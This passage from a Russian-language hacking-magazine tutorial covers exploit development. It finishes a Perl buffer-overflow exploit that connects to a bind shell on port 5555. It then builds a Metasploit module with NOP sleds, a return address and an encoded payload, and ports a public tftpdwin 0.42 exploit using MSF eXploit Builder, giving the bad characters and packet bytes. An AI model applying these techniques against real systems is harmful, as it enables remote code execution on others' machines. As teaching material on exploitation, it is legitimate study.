print SOCKET $junk. $eipoverwrite. $shellcode. "\n" ;

После чего пытаемся в сплоите установить соединение с удаленной машиной на 5555 порту, который мы указали при генерации шелл-кода:

system ( "telnet $host 5555" );

Запускаем эксплоит и… о чудо, он работает! Протестировав эксплоит на различных ОС (Windows XP SP3), можно увидеть, что значение смещения не меняется - меняется только наш адрес возврата.

Эксплоит для Metasploit

Итак, у нас есть сплоит для конкретной платформы с вполне определенной нагрузкой, открывающей в системе шелл. Так зачем нужна вообще какая-либо специальная платформа для создания сплоита, если мы вполне обошлись силами одного лишь Perl'а? Причина в том, что Metasploit предоставляет огромное количество заготовок, реализаций различных протоколов, одну из самых больших баз шелл-кодов, payload-ов, которые можно использовать при написании собственного эксплоита. Вместо убогого скрипта на Perl'е можно написать модуль для Metasploit, после чего запускать его на любой платформе и выбирать payload на свой вкус! Чуешь разницу? Предлагаю прямо сейчас усовершенствовать наш сплоит, переписав его для Metasploit, и посмотреть, как это работает. Само собой, он будет обладать возможностью выбора платформы для атаки, а выбирать пейлоад ты сможешь прямо во время исполнения атаки.

Любой эксплоит для Metasploit имеет фиксированную структуру, которая состоит из объявления заголовочных файлов, подключения ядра msf/core, определения класса эксплоита, в котором описывается его функциональность. Я не буду приводить здесь полный исходник модуля, но выкладываю его на диске. Рекомендую для большей ясности открыть его прямо сейчас и далее читать мое практически построчное объяснение его кода.
Первое, с чего начинается любой сплоит, – это подключение ядра Metasploit Framework:

Функциональность любого сплоита описывается с помощью класса, где его настройки задаются с помощью параметров, а функциональность – с помощью методов. Создаваемый объект наследуется от одного из предопределенных классов. Поскольку мы создаем удаленный сплоит, то и наследуем наш объект от родительского класса "Удаленный эксплоит". В синтаксисе Ruby это делается так:

class Metasploit3 < Msf. Exploit::Remote.

Большая заслуга Metasploit в том, что он унифицирует большое количество параметров и действий, позволяя использовать готовые конструкции вновь и вновь. Первый элемент разрабатываемого класса – секция include, где мы подключаем обработчик для нужного нам протокола. В Metasploit есть обработчики для http, ftp и других протоколов, что позволяет быстрее писать эксплоиты, не заморачиваясь с их собственной реализацией. Наш эксплоит использует TCP-подключение, поэтому код будет выглядеть следующим образом:

include Msf. Exploit. Remote. Tcp

Далее весь сплоит делится на два метода: метод инициализации, в котором мы указываем информацию, необходимую для успешного выполнения эксплоита, и метод эксплуатации, в котором мы отправляем на сервер ядовитую строку.

Начнем с инициализации. Параметр Payload задает длину ядовитого буфера и недопустимые символы (в нашем случае – 0х00 и 0xff):

Далее определяем цели эксплоита и специфичные для каждой цели параметры, такие как адрес возврата, смещение и т.д.:

Обрати внимание, мы не определяем сам шелл-код – то есть, нагрузку, которую выполнит сплоит. Действие на удаленной машине будет выбираться интерактивно во время работы в консоли Metasploit'ом. Сейчас нам остается только написать самое главное - метод для эксплуатации уязвимости. С помощью команды connect устанавливаем TCP-соединение (обработчик протокола мы подключили выше и даже указали порт, помнишь?), далее – определяем ядовитую строку и передаем ее в сокет, после чего разрываем соединение. Ядовитый буфер состоит из цепочки NOP-команд, величины Offset - затем к ней прибавляется адрес возврата, еще небольшая NOP-цепочка и зашифрованный PAYLOAD. Все вместе выглядит так:

def exploit
connect

junk = make_nops ( target [ 'Offset' ])
sploit = junk + [ target. ret ]. pack ( 'V' ) + make_nops ( 50 ) + payload. encoded
sock. put ( sploit )

handler
disconnect
end

Вот и все, наш первый модуль для Metasploit готов! Чтобы его можно было использовать, скопируем исходник в папку modules/exploits/test (если не нравится test – можешь скопировать в windows/misc, например). Запускаем msfconsole и работаем в интерактивной консоли Metasploit'а!

Эксплоит за 5 минут

Как видишь, разработать эксплоит для Metasplot не так сложно. Скорее даже наоборот, ведь большая часть работы уже сделана за тебя. Взять хотя бы огромную базу шелл-кодов – попробуй разработать свой. Но лени человеческой нет предела, поэтому в стремлении еще больше упростить процесс был разработан пакет утилит тебе MSF eXploit Builder. Программа имеет удобный графический интерфейс и поможет по-настоящему быстро создавать новый модуль для Metasploit. Кроме удобного GUI, eXploit Builder включает в себя целую кучу полезных тулз, необходимых для отладки и тестирования эксплоитов. Более того – можно опять же создавать с нуля, а портировать уже существующие сплоиты.

Предлагаю взять какой-нибудь эксплоит и с помощью MSF eXploit Builder превратить его в Metasploit-модуль. Ты спросишь, зачем это нам надо? Опять же: превратив его в Metasploit-модуль, мы можем использовать его вместе с различными payload-ами. Проще говоря, это сделает его более универсальным и кроссплатформенным. Сейчас ты сам убедишься, насколько эта программа может упростить жизнь - ведь теперь для написания и отладки эксплоита не нужно даже знание Ruby и Metasploit API. В качестве кролика для эксперимента я выбрал первое, что попалось, - сплоит для tftpdwin 0.42 (milw0rm.com/exploits/7452 ).

Запускаем MSF eXploit Builder, заходим в меню "Editor" и выбираем "New". Появляется окно с несколькими вкладками (Information, Badchars, Analysis, Shellcode, Design). Переходим на вкладку "Information" и видим много интересных полей. Как ты помнишь, в этой секции указываются цели (OS + SP) и тип/протокол эксплоита (например, remote/tcp). Более того, программа предоставляет нам возможность тестирования и отладки полученного эксплоита, поэтому тут же можно выбрать исполняемый файл и указать параметры для его запуска (порт, ip-адрес).

Итак, выбираем наш tftpd.exe, после чего утилита предложит следующие действия на выбор: запустить приложение, запустить его под отладчиком или не запускать вообще – просто запустим приложение. Обрати внимание, что справа сбоку отобразится список загруженных приложением DDL'ек.

Теперь начинаем смотреть код сплоита – на наше счастье он предельно понятный. Комментарий "Restricted chars = 0x00 0x6e 0x65 0x74" явно указывает на запрещенные символы – что ж, выставим их в нашей программе. Для этого переходим на вкладку Badchars и в одноименном поле вводим: \x00\x6e\x65\x74. Далее по коду мы видим, как формируется ядовитый пакет:

my $packet = (( $p1 ).( $nopsled ).( $shellcode ).(( $overflow )).( $ret ).( $p2 ));

Разбираемся с каждой составляющей и заодно составляем буфер для отправки во вкладке "Design". Сначала идет переменная $p1 (my $p1="\x00\x01";). Вводим их в поле Value (Operation по умолчанию оставляем RAW). За ней идет переменная $nopsled (my $nopsled = "\x90" x 10;) - выбираем Operation = NOP и устанавливаем длину в 10. Далее располагается $shellcode - устанавливаем Operation = PAYLOAD и Length = 0. Следующая часть - $overflow (my $overflow = "\x41” x $len; строка из символов "А" длиной в $len). Переменная my $len = (274 - length($shellcode)), то есть строка длиной 274 символа минус длина шелл-кода. Выставляем Operation = RAW, Length = 274 и выбираем (нажимаем поочередно) вверху кнопки RAW could be: rand_text_alpha, -payload.encoded.length, что означает: длина строки будет высчитываться по вышеприведенной формуле. Потом добавляем адрес возврата $ret (my $ret = "\x5d\x10\x40”) и выбираем Operation = RET. Наконец, добавляем $p2, равное "\x00\x6e\x65\x74\x61\x73\x63\x69\x69\x00" и выбираем Operation = RAW. Ядовитый пакет готов.

Собственно, теперь у нас есть все для создания готового сплоита. Поэтому нажимаем на кнопку "Generate" и любуемся кодом получившегося сплоита. Если какие-то моменты вызывают сомнения, тут же можно отредактировать код вручную. Классно, что возможно сразу проверить работоспособность кода – для этого смело жмем кнопку "Test". И ведь – все работает! За 5 минут, которые ушли на ознакомление с программой, и без всякого знания, как языка Ruby, так и структуры Metasploit, мы создали полностью рабочий сплоит. Это дорогого стоит! В качестве домашнего задания попробуй с помощью MSF eXploit Builder создать эксплоит для нашего сервера :).

Заключение

Вот и закончилась наша экскурсия по фабрике эксплоитов. Знать, как устроены сплоиты, полезно во многих отношениях. Не умея прочитать шелл-код в свежем эксплоите или, вообще, запуская непонятный exe'шник, далеко не всегда можно доверять его создателю. Многие сплоиты выпускаются в паблик с отсутствующими частями и специально оставленными ошибками – это непременно остановит армию скрипткидис, но для понимающего человека едва ли станет серьезной задачей. Надеюсь, я сегодня убедил тебя, что ничего нереального в сплоитах нет: ведь хакеры люди – логичные и понятные :).

INFO

Подробная информация об Metasploit API:

Блог Metasploit Framework:

Статья по доработке эксплоита:

Видео, показывающее, как создать Portable-версию Metasploit для размещения на флешке:

WARNING

Информация представлена исключительно в ознакомительных целях, чтобы показать, чего стоят критические уязвимости в коде и как злоумышленники могут их использовать. Не повторяй эти действия в противозаконных целях. В противном случае автор и редакция ответственности не несут!